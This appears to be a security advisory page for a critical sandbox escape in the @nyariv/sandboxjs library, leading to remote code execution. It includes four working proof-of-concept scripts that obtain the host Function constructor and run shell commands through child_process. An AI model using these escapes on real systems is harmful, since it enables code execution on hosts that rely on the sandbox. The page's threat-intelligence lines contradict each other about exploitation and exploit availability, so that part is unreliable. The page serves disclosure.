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GHSA-58jh-xv4v-pcx4

CriticalCVSS 10 / 10
Published Feb 5, 2026·Last modified Feb 6, 2026
Affected Components(0)

No affected components available

Description

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

Risk Scores
Base Score
10.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.1

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.78%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Critical severity
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